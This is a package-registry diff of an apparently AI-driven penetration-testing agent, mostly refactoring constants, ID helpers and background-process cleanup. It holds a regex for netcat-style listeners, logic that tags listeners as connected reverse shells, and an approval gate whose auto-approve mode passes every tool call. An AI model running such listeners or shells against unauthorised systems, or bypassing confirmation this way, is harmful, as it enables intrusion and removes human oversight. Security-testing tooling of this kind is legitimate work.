pentesting 0.21.7 → 0.21.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/dist/main.js +1497 -1165
- package/package.json +1 -1
package/dist/main.js
CHANGED
|
@@ -13,11 +13,11 @@ import chalk from "chalk";
|
|
|
13
13
|
import gradient from "gradient-string";
|
|
14
14
|
|
|
15
15
|
// src/platform/tui/app.tsx
|
|
16
|
-
import { useState as
|
|
16
|
+
import { useState as useState4, useCallback as useCallback3, useEffect as useEffect4 } from "react";
|
|
17
17
|
import { Box as Box6, useInput, useApp } from "ink";
|
|
18
18
|
|
|
19
19
|
// src/platform/tui/hooks/useAgent.ts
|
|
20
|
-
import { useState, useEffect, useCallback, useRef } from "react";
|
|
20
|
+
import { useState as useState2, useEffect as useEffect2, useCallback as useCallback2, useRef as useRef2 } from "react";
|
|
21
21
|
|
|
22
22
|
// src/shared/constants/timing.ts
|
|
23
23
|
var TOOL_TIMEOUTS = {
|
|
@@ -43,6 +43,18 @@ var DISPLAY_LIMITS = {
|
|
|
43
43
|
TOOL_INPUT_TRUNCATED: 30,
|
|
44
44
|
/** Max characters to show in tool output preview */
|
|
45
45
|
TOOL_OUTPUT_PREVIEW: 200,
|
|
46
|
+
/** Max characters to show in tool output slice (events) */
|
|
47
|
+
TOOL_OUTPUT_SLICE: 80,
|
|
48
|
+
/** Max characters to show in tool error preview (events) */
|
|
49
|
+
TOOL_ERROR_SLICE: 120,
|
|
50
|
+
/** Max characters for delegate output preview */
|
|
51
|
+
DELEGATE_OUTPUT_SLICE: 60,
|
|
52
|
+
/** Max characters for command preview in logs */
|
|
53
|
+
COMMAND_PREVIEW: 100,
|
|
54
|
+
/** Max characters for output summary in agent loop */
|
|
55
|
+
OUTPUT_SUMMARY: 200,
|
|
56
|
+
/** Max characters for error preview in logs */
|
|
57
|
+
ERROR_PREVIEW: 100,
|
|
46
58
|
/** Max characters for status thought preview */
|
|
47
59
|
STATUS_THOUGHT_PREVIEW: 60,
|
|
48
60
|
/** Max characters after truncation for status */
|
|
@@ -66,7 +78,19 @@ var DISPLAY_LIMITS = {
|
|
|
66
78
|
/** Number of targets to preview in state summary */
|
|
67
79
|
TARGET_PREVIEW: 3,
|
|
68
80
|
/** Number of important findings to preview */
|
|
69
|
-
FINDING_PREVIEW: 5
|
|
81
|
+
FINDING_PREVIEW: 5,
|
|
82
|
+
/** Number of hashes to preview */
|
|
83
|
+
HASH_PREVIEW: 20,
|
|
84
|
+
/** Number of loot items to preview */
|
|
85
|
+
LOOT_PREVIEW: 30,
|
|
86
|
+
/** Number of recent process events to show */
|
|
87
|
+
RECENT_EVENT_COUNT: 5,
|
|
88
|
+
/** Max links to preview in browser output */
|
|
89
|
+
LINKS_PREVIEW: 20,
|
|
90
|
+
/** Max endpoints to sample */
|
|
91
|
+
ENDPOINT_SAMPLE: 5,
|
|
92
|
+
/** Purpose truncation length */
|
|
93
|
+
PURPOSE_TRUNCATE: 27
|
|
70
94
|
};
|
|
71
95
|
var AGENT_LIMITS = {
|
|
72
96
|
/** Maximum agent loop iterations — generous to allow complex tasks.
|
|
@@ -113,11 +137,27 @@ var INPUT_PROMPT_PATTERNS = [
|
|
|
113
137
|
/\(Y\/n\)/i
|
|
114
138
|
];
|
|
115
139
|
|
|
140
|
+
// src/shared/constants/exit-codes.ts
|
|
141
|
+
var EXIT_CODES = {
|
|
142
|
+
/** Successful execution */
|
|
143
|
+
SUCCESS: 0,
|
|
144
|
+
/** General error */
|
|
145
|
+
GENERAL_ERROR: 1,
|
|
146
|
+
/** Command not found */
|
|
147
|
+
COMMAND_NOT_FOUND: 127,
|
|
148
|
+
/** Process killed by SIGALRM (timeout) */
|
|
149
|
+
TIMEOUT: 124,
|
|
150
|
+
/** Process killed by SIGINT (Ctrl+C) */
|
|
151
|
+
SIGINT: 130,
|
|
152
|
+
/** Process killed by SIGTERM */
|
|
153
|
+
SIGTERM: 143
|
|
154
|
+
};
|
|
155
|
+
|
|
116
156
|
// src/shared/constants/agent.ts
|
|
117
157
|
var ID_LENGTH = AGENT_LIMITS.ID_LENGTH;
|
|
118
158
|
var ID_RADIX = AGENT_LIMITS.ID_RADIX;
|
|
119
159
|
var APP_NAME = "Pentest AI";
|
|
120
|
-
var APP_VERSION = "0.21.
|
|
160
|
+
var APP_VERSION = "0.21.10";
|
|
121
161
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
122
162
|
var LLM_ROLES = {
|
|
123
163
|
SYSTEM: "system",
|
|
@@ -146,7 +186,11 @@ var SENSITIVE_INPUT_TYPES = [
|
|
|
146
186
|
];
|
|
147
187
|
|
|
148
188
|
// src/shared/utils/id.ts
|
|
189
|
+
var ID_DEFAULT_RADIX = 36;
|
|
190
|
+
var ID_DEFAULT_LENGTH = 6;
|
|
149
191
|
var generateId = (radix = 36, length = 8) => Math.random().toString(radix).substring(2, 2 + length);
|
|
192
|
+
var generatePrefixedId = (prefix, radix = ID_DEFAULT_RADIX, randomLength = ID_DEFAULT_LENGTH) => `${prefix}_${Date.now()}_${Math.random().toString(radix).slice(2, 2 + randomLength)}`;
|
|
193
|
+
var generateTempFilename = (suffix = "", prefix = "pentest") => `${prefix}-${Date.now()}-${Math.random().toString(ID_DEFAULT_RADIX).slice(2, 2 + ID_DEFAULT_LENGTH)}${suffix}`;
|
|
150
194
|
|
|
151
195
|
// src/shared/constants/protocol.ts
|
|
152
196
|
var PHASES = {
|
|
@@ -410,15 +454,23 @@ var DEFAULTS = {
|
|
|
410
454
|
};
|
|
411
455
|
|
|
412
456
|
// src/engine/process-manager.ts
|
|
413
|
-
import { spawn as spawn2, execSync } from "child_process";
|
|
414
|
-
import { readFileSync as readFileSync2, existsSync as
|
|
457
|
+
import { spawn as spawn2, execSync as execSync2 } from "child_process";
|
|
458
|
+
import { readFileSync as readFileSync2, existsSync as existsSync3, unlinkSync, writeFileSync as writeFileSync2, appendFileSync } from "fs";
|
|
415
459
|
|
|
416
460
|
// src/engine/tools-base.ts
|
|
417
461
|
import { spawn } from "child_process";
|
|
418
|
-
import { readFileSync, existsSync, writeFileSync
|
|
419
|
-
import { join } from "path";
|
|
462
|
+
import { readFileSync, existsSync as existsSync2, writeFileSync } from "fs";
|
|
463
|
+
import { join, dirname } from "path";
|
|
420
464
|
import { tmpdir } from "os";
|
|
421
465
|
|
|
466
|
+
// src/shared/utils/file-utils.ts
|
|
467
|
+
import { existsSync, mkdirSync } from "fs";
|
|
468
|
+
function ensureDirExists(dirPath) {
|
|
469
|
+
if (!existsSync(dirPath)) {
|
|
470
|
+
mkdirSync(dirPath, { recursive: true });
|
|
471
|
+
}
|
|
472
|
+
}
|
|
473
|
+
|
|
422
474
|
// src/shared/constants/system.ts
|
|
423
475
|
var PROCESS_ROLES = {
|
|
424
476
|
LISTENER: "listener",
|
|
@@ -469,6 +521,10 @@ var SYSTEM_LIMITS = {
|
|
|
469
521
|
MAX_STDOUT_SLICE: 3e3,
|
|
470
522
|
/** Maximum characters to show from stderr */
|
|
471
523
|
MAX_STDERR_SLICE: 500,
|
|
524
|
+
/** Maximum characters for error detail messages */
|
|
525
|
+
MAX_ERROR_DETAIL_SLICE: 200,
|
|
526
|
+
/** Maximum characters for input prompt previews */
|
|
527
|
+
MAX_PROMPT_PREVIEW: 50,
|
|
472
528
|
/** Maximum characters for input snippets in logs */
|
|
473
529
|
MAX_INPUT_SLICE: 100,
|
|
474
530
|
/** Maximum events to keep in process event log */
|
|
@@ -486,12 +542,6 @@ var SYSTEM_LIMITS = {
|
|
|
486
542
|
/** Port range for API services */
|
|
487
543
|
API_PORT_RANGE: { MIN: 3e3, MAX: 3500 }
|
|
488
544
|
};
|
|
489
|
-
var EXIT_CODES2 = {
|
|
490
|
-
/** SIGINT (Ctrl+C) - 128 + 2 */
|
|
491
|
-
SIGINT: 130,
|
|
492
|
-
/** SIGTERM - 128 + 15 */
|
|
493
|
-
SIGTERM: 143
|
|
494
|
-
};
|
|
495
545
|
var DETECTION_PATTERNS = {
|
|
496
546
|
LISTENER: /-(?:lvnp|nlvp|lp|p)\s+(\d+)/,
|
|
497
547
|
HTTP_SERVER: /(?:http\.server|SimpleHTTPServer)\s+(\d+)/,
|
|
@@ -1115,11 +1165,11 @@ async function installTool(toolName) {
|
|
|
1115
1165
|
globalEventEmitter?.({
|
|
1116
1166
|
type: COMMAND_EVENT_TYPES.TOOL_INSTALL_FAILED,
|
|
1117
1167
|
message: `Failed to install: ${toolName}`,
|
|
1118
|
-
detail: stderr.slice(0,
|
|
1168
|
+
detail: stderr.slice(0, SYSTEM_LIMITS.MAX_ERROR_DETAIL_SLICE)
|
|
1119
1169
|
});
|
|
1120
1170
|
resolve({
|
|
1121
1171
|
success: false,
|
|
1122
|
-
output: `Failed to install ${toolName}: ${stderr.slice(0,
|
|
1172
|
+
output: `Failed to install ${toolName}: ${stderr.slice(0, SYSTEM_LIMITS.MAX_ERROR_DETAIL_SLICE)}`
|
|
1123
1173
|
});
|
|
1124
1174
|
}
|
|
1125
1175
|
});
|
|
@@ -1169,7 +1219,7 @@ async function runCommand(command, args = [], options = {}) {
|
|
|
1169
1219
|
globalEventEmitter?.({
|
|
1170
1220
|
type: COMMAND_EVENT_TYPES.TOOL_RETRY,
|
|
1171
1221
|
message: `Retrying command after installing ${toolName}...`,
|
|
1172
|
-
detail: command.slice(0,
|
|
1222
|
+
detail: command.slice(0, DISPLAY_LIMITS.COMMAND_PREVIEW)
|
|
1173
1223
|
});
|
|
1174
1224
|
}
|
|
1175
1225
|
return lastResult;
|
|
@@ -1179,7 +1229,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
|
|
|
1179
1229
|
const timeout = options.timeout ?? TOOL_TIMEOUTS.DEFAULT_COMMAND;
|
|
1180
1230
|
globalEventEmitter?.({
|
|
1181
1231
|
type: COMMAND_EVENT_TYPES.COMMAND_START,
|
|
1182
|
-
message: `Executing: ${command.slice(0,
|
|
1232
|
+
message: `Executing: ${command.slice(0, DISPLAY_LIMITS.COMMAND_PREVIEW)}${command.length > DISPLAY_LIMITS.COMMAND_PREVIEW ? "..." : ""}`
|
|
1183
1233
|
});
|
|
1184
1234
|
const child = spawn("sh", ["-c", command], {
|
|
1185
1235
|
timeout,
|
|
@@ -1197,7 +1247,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
|
|
|
1197
1247
|
inputHandled = true;
|
|
1198
1248
|
globalEventEmitter?.({
|
|
1199
1249
|
type: COMMAND_EVENT_TYPES.INPUT_REQUIRED,
|
|
1200
|
-
message: `Input required: ${data.trim().slice(0,
|
|
1250
|
+
message: `Input required: ${data.trim().slice(0, SYSTEM_LIMITS.MAX_PROMPT_PREVIEW)}`,
|
|
1201
1251
|
detail: "Waiting for user input..."
|
|
1202
1252
|
});
|
|
1203
1253
|
const promptText = data.trim();
|
|
@@ -1237,7 +1287,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
|
|
|
1237
1287
|
globalEventEmitter?.({
|
|
1238
1288
|
type: COMMAND_EVENT_TYPES.COMMAND_FAILED,
|
|
1239
1289
|
message: `Command failed (exit ${code})`,
|
|
1240
|
-
detail: stderr.slice(0,
|
|
1290
|
+
detail: stderr.slice(0, SYSTEM_LIMITS.MAX_INPUT_SLICE)
|
|
1241
1291
|
});
|
|
1242
1292
|
resolve({
|
|
1243
1293
|
success: false,
|
|
@@ -1262,7 +1312,7 @@ async function executeCommandOnce(command, args = [], options = {}) {
|
|
|
1262
1312
|
}
|
|
1263
1313
|
async function readFileContent(filePath) {
|
|
1264
1314
|
try {
|
|
1265
|
-
if (!
|
|
1315
|
+
if (!existsSync2(filePath)) {
|
|
1266
1316
|
return {
|
|
1267
1317
|
success: false,
|
|
1268
1318
|
output: "",
|
|
@@ -1285,10 +1335,8 @@ async function readFileContent(filePath) {
|
|
|
1285
1335
|
}
|
|
1286
1336
|
async function writeFileContent(filePath, content) {
|
|
1287
1337
|
try {
|
|
1288
|
-
const dir =
|
|
1289
|
-
|
|
1290
|
-
mkdirSync(dir, { recursive: true });
|
|
1291
|
-
}
|
|
1338
|
+
const dir = dirname(filePath);
|
|
1339
|
+
ensureDirExists(dir);
|
|
1292
1340
|
writeFileSync(filePath, content, "utf-8");
|
|
1293
1341
|
return {
|
|
1294
1342
|
success: true,
|
|
@@ -1304,20 +1352,11 @@ async function writeFileContent(filePath, content) {
|
|
|
1304
1352
|
}
|
|
1305
1353
|
}
|
|
1306
1354
|
function createTempFile(suffix = "") {
|
|
1307
|
-
return join(tmpdir(),
|
|
1355
|
+
return join(tmpdir(), generateTempFilename(suffix));
|
|
1308
1356
|
}
|
|
1309
1357
|
|
|
1310
|
-
// src/engine/process-
|
|
1311
|
-
|
|
1312
|
-
var cleanupDone = false;
|
|
1313
|
-
var processEventLog = [];
|
|
1314
|
-
function logEvent(processId, event, detail) {
|
|
1315
|
-
processEventLog.push({ timestamp: Date.now(), processId, event, detail });
|
|
1316
|
-
if (processEventLog.length > SYSTEM_LIMITS.MAX_EVENT_LOG) {
|
|
1317
|
-
processEventLog.splice(0, processEventLog.length - SYSTEM_LIMITS.MAX_EVENT_LOG);
|
|
1318
|
-
}
|
|
1319
|
-
}
|
|
1320
|
-
function autoDetect(command) {
|
|
1358
|
+
// src/engine/process-detector.ts
|
|
1359
|
+
function detectProcessRole(command) {
|
|
1321
1360
|
const tags = [];
|
|
1322
1361
|
let port;
|
|
1323
1362
|
let role = PROCESS_ROLES.BACKGROUND;
|
|
@@ -1365,6 +1404,12 @@ function autoDetect(command) {
|
|
|
1365
1404
|
if (tags.length === 0) tags.push(PROCESS_ROLES.BACKGROUND);
|
|
1366
1405
|
return { tags, port, role, isInteractive };
|
|
1367
1406
|
}
|
|
1407
|
+
function detectConnection(stdout) {
|
|
1408
|
+
return DETECTION_PATTERNS.CONNECTION.some((p) => p.test(stdout));
|
|
1409
|
+
}
|
|
1410
|
+
|
|
1411
|
+
// src/engine/process-tree.ts
|
|
1412
|
+
import { execSync } from "child_process";
|
|
1368
1413
|
function discoverChildPids(parentPid) {
|
|
1369
1414
|
try {
|
|
1370
1415
|
const result2 = execSync(`pgrep -P ${parentPid} 2>/dev/null || true`, {
|
|
@@ -1395,15 +1440,74 @@ function isPidAlive(pid) {
|
|
|
1395
1440
|
return false;
|
|
1396
1441
|
}
|
|
1397
1442
|
}
|
|
1398
|
-
function
|
|
1399
|
-
|
|
1443
|
+
async function killProcessTree(pid, childPids, waitMs = SYSTEM_LIMITS.SHUTDOWN_WAIT_MS) {
|
|
1444
|
+
try {
|
|
1445
|
+
process.kill(-pid, "SIGTERM");
|
|
1446
|
+
} catch {
|
|
1447
|
+
try {
|
|
1448
|
+
process.kill(pid, "SIGTERM");
|
|
1449
|
+
} catch {
|
|
1450
|
+
}
|
|
1451
|
+
}
|
|
1452
|
+
for (const childPid of childPids) {
|
|
1453
|
+
try {
|
|
1454
|
+
process.kill(childPid, "SIGTERM");
|
|
1455
|
+
} catch {
|
|
1456
|
+
}
|
|
1457
|
+
}
|
|
1458
|
+
await new Promise((r) => setTimeout(r, waitMs));
|
|
1459
|
+
if (isPidAlive(pid)) {
|
|
1460
|
+
try {
|
|
1461
|
+
process.kill(-pid, "SIGKILL");
|
|
1462
|
+
} catch {
|
|
1463
|
+
}
|
|
1464
|
+
try {
|
|
1465
|
+
process.kill(pid, "SIGKILL");
|
|
1466
|
+
} catch {
|
|
1467
|
+
}
|
|
1468
|
+
}
|
|
1469
|
+
for (const childPid of childPids) {
|
|
1470
|
+
if (isPidAlive(childPid)) {
|
|
1471
|
+
try {
|
|
1472
|
+
process.kill(childPid, "SIGKILL");
|
|
1473
|
+
} catch {
|
|
1474
|
+
}
|
|
1475
|
+
}
|
|
1476
|
+
}
|
|
1477
|
+
}
|
|
1478
|
+
function killProcessTreeSync(pid, childPids) {
|
|
1479
|
+
try {
|
|
1480
|
+
process.kill(-pid, "SIGKILL");
|
|
1481
|
+
} catch {
|
|
1482
|
+
}
|
|
1483
|
+
try {
|
|
1484
|
+
process.kill(pid, "SIGKILL");
|
|
1485
|
+
} catch {
|
|
1486
|
+
}
|
|
1487
|
+
for (const childPid of childPids) {
|
|
1488
|
+
try {
|
|
1489
|
+
process.kill(childPid, "SIGKILL");
|
|
1490
|
+
} catch {
|
|
1491
|
+
}
|
|
1492
|
+
}
|
|
1493
|
+
}
|
|
1494
|
+
|
|
1495
|
+
// src/engine/process-manager.ts
|
|
1496
|
+
var backgroundProcesses = /* @__PURE__ */ new Map();
|
|
1497
|
+
var cleanupDone = false;
|
|
1498
|
+
var processEventLog = [];
|
|
1499
|
+
function logEvent(processId, event, detail) {
|
|
1500
|
+
processEventLog.push({ timestamp: Date.now(), processId, event, detail });
|
|
1501
|
+
if (processEventLog.length > SYSTEM_LIMITS.MAX_EVENT_LOG) {
|
|
1502
|
+
processEventLog.splice(0, processEventLog.length - SYSTEM_LIMITS.MAX_EVENT_LOG);
|
|
1503
|
+
}
|
|
1400
1504
|
}
|
|
1401
1505
|
function startBackgroundProcess(command, options = {}) {
|
|
1402
|
-
const processId =
|
|
1506
|
+
const processId = generatePrefixedId("bg");
|
|
1403
1507
|
const stdoutFile = createTempFile(".stdout");
|
|
1404
1508
|
const stderrFile = createTempFile(".stderr");
|
|
1405
1509
|
const stdinFile = createTempFile(".stdin");
|
|
1406
|
-
const { tags, port, role, isInteractive } =
|
|
1510
|
+
const { tags, port, role, isInteractive } = detectProcessRole(command);
|
|
1407
1511
|
let wrappedCmd;
|
|
1408
1512
|
if (isInteractive) {
|
|
1409
1513
|
writeFileSync2(stdinFile, "", "utf-8");
|
|
@@ -1459,7 +1563,7 @@ async function sendToProcess(processId, input, waitMs = SYSTEM_LIMITS.DEFAULT_WA
|
|
|
1459
1563
|
if (proc.hasExited) return { success: false, output: `Process ${processId} has exited`, newOutput: "" };
|
|
1460
1564
|
let currentLen = 0;
|
|
1461
1565
|
try {
|
|
1462
|
-
if (
|
|
1566
|
+
if (existsSync3(proc.stdoutFile)) {
|
|
1463
1567
|
currentLen = readFileSync2(proc.stdoutFile, "utf-8").length;
|
|
1464
1568
|
}
|
|
1465
1569
|
} catch {
|
|
@@ -1473,7 +1577,7 @@ async function sendToProcess(processId, input, waitMs = SYSTEM_LIMITS.DEFAULT_WA
|
|
|
1473
1577
|
await new Promise((r) => setTimeout(r, waitMs));
|
|
1474
1578
|
let fullStdout = "";
|
|
1475
1579
|
try {
|
|
1476
|
-
if (
|
|
1580
|
+
if (existsSync3(proc.stdoutFile)) {
|
|
1477
1581
|
fullStdout = readFileSync2(proc.stdoutFile, "utf-8");
|
|
1478
1582
|
}
|
|
1479
1583
|
} catch {
|
|
@@ -1506,7 +1610,7 @@ function isProcessRunning(processId) {
|
|
|
1506
1610
|
proc.childPids = discoverAllDescendants(proc.pid);
|
|
1507
1611
|
if (proc.role === "listener") {
|
|
1508
1612
|
try {
|
|
1509
|
-
if (
|
|
1613
|
+
if (existsSync3(proc.stdoutFile)) {
|
|
1510
1614
|
const stdout = readFileSync2(proc.stdoutFile, "utf-8");
|
|
1511
1615
|
if (detectConnection(stdout)) {
|
|
1512
1616
|
promoteToShell(processId, "Reverse shell connected (auto-detected)");
|
|
@@ -1525,7 +1629,7 @@ function getProcessOutput(processId) {
|
|
|
1525
1629
|
let stdout = "";
|
|
1526
1630
|
let stderr = "";
|
|
1527
1631
|
try {
|
|
1528
|
-
if (
|
|
1632
|
+
if (existsSync3(proc.stdoutFile)) {
|
|
1529
1633
|
const content = readFileSync2(proc.stdoutFile, "utf-8");
|
|
1530
1634
|
stdout = content.length > SYSTEM_LIMITS.MAX_STDOUT_SLICE ? `... [truncated ${content.length - SYSTEM_LIMITS.MAX_STDOUT_SLICE} chars] ...
|
|
1531
1635
|
` + content.slice(-SYSTEM_LIMITS.MAX_STDOUT_SLICE) : content;
|
|
@@ -1533,7 +1637,7 @@ function getProcessOutput(processId) {
|
|
|
1533
1637
|
} catch {
|
|
1534
1638
|
}
|
|
1535
1639
|
try {
|
|
1536
|
-
if (
|
|
1640
|
+
if (existsSync3(proc.stderrFile)) {
|
|
1537
1641
|
const content = readFileSync2(proc.stderrFile, "utf-8");
|
|
1538
1642
|
stderr = content.length > SYSTEM_LIMITS.MAX_STDERR_SLICE ? `... [truncated ${content.length - SYSTEM_LIMITS.MAX_STDERR_SLICE} chars] ...
|
|
1539
1643
|
` + content.slice(-SYSTEM_LIMITS.MAX_STDERR_SLICE) : content;
|
|
@@ -1554,46 +1658,14 @@ function getProcessOutput(processId) {
|
|
|
1554
1658
|
isInteractive: proc.isInteractive
|
|
1555
1659
|
};
|
|
1556
1660
|
}
|
|
1557
|
-
async function
|
|
1661
|
+
async function stopBackgroundProcess(processId) {
|
|
1558
1662
|
const proc = backgroundProcesses.get(processId);
|
|
1559
1663
|
if (!proc) return { success: false, output: `Process ${processId} not found` };
|
|
1560
1664
|
const wasActiveShell = proc.role === PROCESS_ROLES.ACTIVE_SHELL;
|
|
1561
1665
|
const finalOutput = getProcessOutput(processId);
|
|
1562
1666
|
if (!proc.hasExited) {
|
|
1563
1667
|
proc.childPids = discoverAllDescendants(proc.pid);
|
|
1564
|
-
|
|
1565
|
-
process.kill(-proc.pid, "SIGTERM");
|
|
1566
|
-
} catch {
|
|
1567
|
-
try {
|
|
1568
|
-
process.kill(proc.pid, "SIGTERM");
|
|
1569
|
-
} catch {
|
|
1570
|
-
}
|
|
1571
|
-
}
|
|
1572
|
-
for (const childPid of proc.childPids) {
|
|
1573
|
-
try {
|
|
1574
|
-
process.kill(childPid, "SIGTERM");
|
|
1575
|
-
} catch {
|
|
1576
|
-
}
|
|
1577
|
-
}
|
|
1578
|
-
await new Promise((r) => setTimeout(r, SYSTEM_LIMITS.SHUTDOWN_WAIT_MS));
|
|
1579
|
-
if (isPidAlive(proc.pid)) {
|
|
1580
|
-
try {
|
|
1581
|
-
process.kill(-proc.pid, "SIGKILL");
|
|
1582
|
-
} catch {
|
|
1583
|
-
}
|
|
1584
|
-
try {
|
|
1585
|
-
process.kill(proc.pid, "SIGKILL");
|
|
1586
|
-
} catch {
|
|
1587
|
-
}
|
|
1588
|
-
}
|
|
1589
|
-
for (const childPid of proc.childPids) {
|
|
1590
|
-
if (isPidAlive(childPid)) {
|
|
1591
|
-
try {
|
|
1592
|
-
process.kill(childPid, "SIGKILL");
|
|
1593
|
-
} catch {
|
|
1594
|
-
}
|
|
1595
|
-
}
|
|
1596
|
-
}
|
|
1668
|
+
await killProcessTree(proc.pid, proc.childPids);
|
|
1597
1669
|
}
|
|
1598
1670
|
try {
|
|
1599
1671
|
unlinkSync(proc.stdoutFile);
|
|
@@ -1717,7 +1789,7 @@ async function cleanupAllProcesses() {
|
|
|
1717
1789
|
backgroundProcesses.clear();
|
|
1718
1790
|
for (const name of ORPHAN_PROCESS_NAMES) {
|
|
1719
1791
|
try {
|
|
1720
|
-
|
|
1792
|
+
execSync2(`pkill -f "${name}" 2>/dev/null || true`, { stdio: "ignore", timeout: SYSTEM_LIMITS.PROCESS_OP_TIMEOUT_MS });
|
|
1721
1793
|
} catch {
|
|
1722
1794
|
}
|
|
1723
1795
|
}
|
|
@@ -1740,10 +1812,10 @@ function getResourceSummary() {
|
|
|
1740
1812
|
const roleIcon = PROCESS_ICONS[p.role] || PROCESS_ICONS[PROCESS_ROLES.BACKGROUND];
|
|
1741
1813
|
let lastOutput = "";
|
|
1742
1814
|
try {
|
|
1743
|
-
if (p.stdoutFile &&
|
|
1815
|
+
if (p.stdoutFile && existsSync3(p.stdoutFile)) {
|
|
1744
1816
|
const content = readFileSync2(p.stdoutFile, "utf-8");
|
|
1745
|
-
const
|
|
1746
|
-
lastOutput =
|
|
1817
|
+
const outputLines = content.trim().split("\n");
|
|
1818
|
+
lastOutput = outputLines.slice(-3).join(" | ").replace(/\n/g, " ");
|
|
1747
1819
|
}
|
|
1748
1820
|
} catch {
|
|
1749
1821
|
}
|
|
@@ -1767,7 +1839,7 @@ ${STATUS_MARKERS.WARNING} SUSPECTED ZOMBIES (Orphaned Children):`);
|
|
|
1767
1839
|
for (const o of orphans) {
|
|
1768
1840
|
lines.push(` [${o.id}] Exited parent has alive children: ${o.childPids.join(", ")}`);
|
|
1769
1841
|
}
|
|
1770
|
-
lines.push(` \u2192 Recommendation: Run bg_process({ action: "stop", process_id: "ID" }) to clean up
|
|
1842
|
+
lines.push(` \u2192 Recommendation: Run bg_process({ action: "stop", process_id: "ID" }) to clean up.`);
|
|
1771
1843
|
}
|
|
1772
1844
|
if (ports.length > 0) {
|
|
1773
1845
|
lines.push(`
|
|
@@ -1799,20 +1871,7 @@ Ports In Use: ${ports.join(", ")}`);
|
|
|
1799
1871
|
function syncCleanupAllProcesses() {
|
|
1800
1872
|
for (const [, proc] of backgroundProcesses) {
|
|
1801
1873
|
if (!proc.hasExited) {
|
|
1802
|
-
|
|
1803
|
-
process.kill(-proc.pid, "SIGKILL");
|
|
1804
|
-
} catch {
|
|
1805
|
-
}
|
|
1806
|
-
try {
|
|
1807
|
-
process.kill(proc.pid, "SIGKILL");
|
|
1808
|
-
} catch {
|
|
1809
|
-
}
|
|
1810
|
-
for (const childPid of proc.childPids) {
|
|
1811
|
-
try {
|
|
1812
|
-
process.kill(childPid, "SIGKILL");
|
|
1813
|
-
} catch {
|
|
1814
|
-
}
|
|
1815
|
-
}
|
|
1874
|
+
killProcessTreeSync(proc.pid, proc.childPids);
|
|
1816
1875
|
}
|
|
1817
1876
|
try {
|
|
1818
1877
|
unlinkSync(proc.stdoutFile);
|
|
@@ -1834,13 +1893,14 @@ process.on("exit", () => {
|
|
|
1834
1893
|
process.on("SIGINT", () => {
|
|
1835
1894
|
syncCleanupAllProcesses();
|
|
1836
1895
|
backgroundProcesses.clear();
|
|
1837
|
-
process.exit(
|
|
1896
|
+
process.exit(EXIT_CODES.SIGINT);
|
|
1838
1897
|
});
|
|
1839
1898
|
process.on("SIGTERM", () => {
|
|
1840
1899
|
syncCleanupAllProcesses();
|
|
1841
1900
|
backgroundProcesses.clear();
|
|
1842
|
-
process.exit(
|
|
1901
|
+
process.exit(EXIT_CODES.SIGTERM);
|
|
1843
1902
|
});
|
|
1903
|
+
var stopProcess = stopBackgroundProcess;
|
|
1844
1904
|
|
|
1845
1905
|
// src/engine/state-serializer.ts
|
|
1846
1906
|
var StateSerializer = class {
|
|
@@ -1952,11 +2012,11 @@ var SharedState = class {
|
|
|
1952
2012
|
for (const update of updates) {
|
|
1953
2013
|
const index = this.data.missionChecklist.findIndex((item) => item.id === update.id);
|
|
1954
2014
|
if (index !== -1) {
|
|
1955
|
-
if (update.
|
|
2015
|
+
if (update.shouldRemove) {
|
|
1956
2016
|
this.data.missionChecklist.splice(index, 1);
|
|
1957
2017
|
} else {
|
|
1958
2018
|
if (update.text !== void 0) this.data.missionChecklist[index].text = update.text;
|
|
1959
|
-
if (update.
|
|
2019
|
+
if (update.isCompleted !== void 0) this.data.missionChecklist[index].isCompleted = update.isCompleted;
|
|
1960
2020
|
}
|
|
1961
2021
|
}
|
|
1962
2022
|
}
|
|
@@ -2349,23 +2409,23 @@ function getApprovalLevel(toolCall) {
|
|
|
2349
2409
|
return APPROVAL_LEVELS.CONFIRM;
|
|
2350
2410
|
}
|
|
2351
2411
|
var ApprovalGate = class {
|
|
2352
|
-
constructor(
|
|
2353
|
-
this.
|
|
2412
|
+
constructor(shouldAutoApprove = false) {
|
|
2413
|
+
this.shouldAutoApprove = shouldAutoApprove;
|
|
2354
2414
|
}
|
|
2355
2415
|
/**
|
|
2356
2416
|
* Set auto-approve mode
|
|
2357
2417
|
*/
|
|
2358
2418
|
setAutoApprove(enabled) {
|
|
2359
|
-
this.
|
|
2419
|
+
this.shouldAutoApprove = enabled;
|
|
2360
2420
|
}
|
|
2361
2421
|
/**
|
|
2362
2422
|
* Get current auto-approve mode
|
|
2363
2423
|
*/
|
|
2364
2424
|
isAutoApprove() {
|
|
2365
|
-
return this.
|
|
2425
|
+
return this.shouldAutoApprove;
|
|
2366
2426
|
}
|
|
2367
2427
|
async request(toolCall) {
|
|
2368
|
-
if (this.
|
|
2428
|
+
if (this.shouldAutoApprove) return { isApproved: true, reason: "Auto-approve enabled" };
|
|
2369
2429
|
const level = getApprovalLevel(toolCall);
|
|
2370
2430
|
if (level === APPROVAL_LEVELS.AUTO) return { isApproved: true };
|
|
2371
2431
|
if (level === APPROVAL_LEVELS.BLOCK) return { isApproved: false, reason: "Policy blocked execution" };
|
|
@@ -2696,106 +2756,330 @@ All ports freed. All children killed.`
|
|
|
2696
2756
|
}
|
|
2697
2757
|
];
|
|
2698
2758
|
|
|
2699
|
-
// src/engine/tools-
|
|
2700
|
-
|
|
2701
|
-
|
|
2702
|
-
|
|
2703
|
-
|
|
2704
|
-
|
|
2705
|
-
|
|
2706
|
-
|
|
2707
|
-
|
|
2708
|
-
|
|
2709
|
-
|
|
2710
|
-
|
|
2711
|
-
|
|
2712
|
-
|
|
2713
|
-
}
|
|
2714
|
-
|
|
2715
|
-
|
|
2716
|
-
|
|
2717
|
-
|
|
2718
|
-
|
|
2719
|
-
|
|
2720
|
-
}
|
|
2721
|
-
|
|
2722
|
-
|
|
2723
|
-
}
|
|
2724
|
-
|
|
2725
|
-
|
|
2726
|
-
|
|
2727
|
-
|
|
2728
|
-
|
|
2729
|
-
|
|
2730
|
-
|
|
2731
|
-
|
|
2732
|
-
}
|
|
2733
|
-
|
|
2734
|
-
// src/shared/constants/search-api.const.ts
|
|
2735
|
-
var SEARCH_URL_PATTERN = {
|
|
2736
|
-
GLM: "bigmodel.cn",
|
|
2737
|
-
ZHIPU: "zhipuai",
|
|
2738
|
-
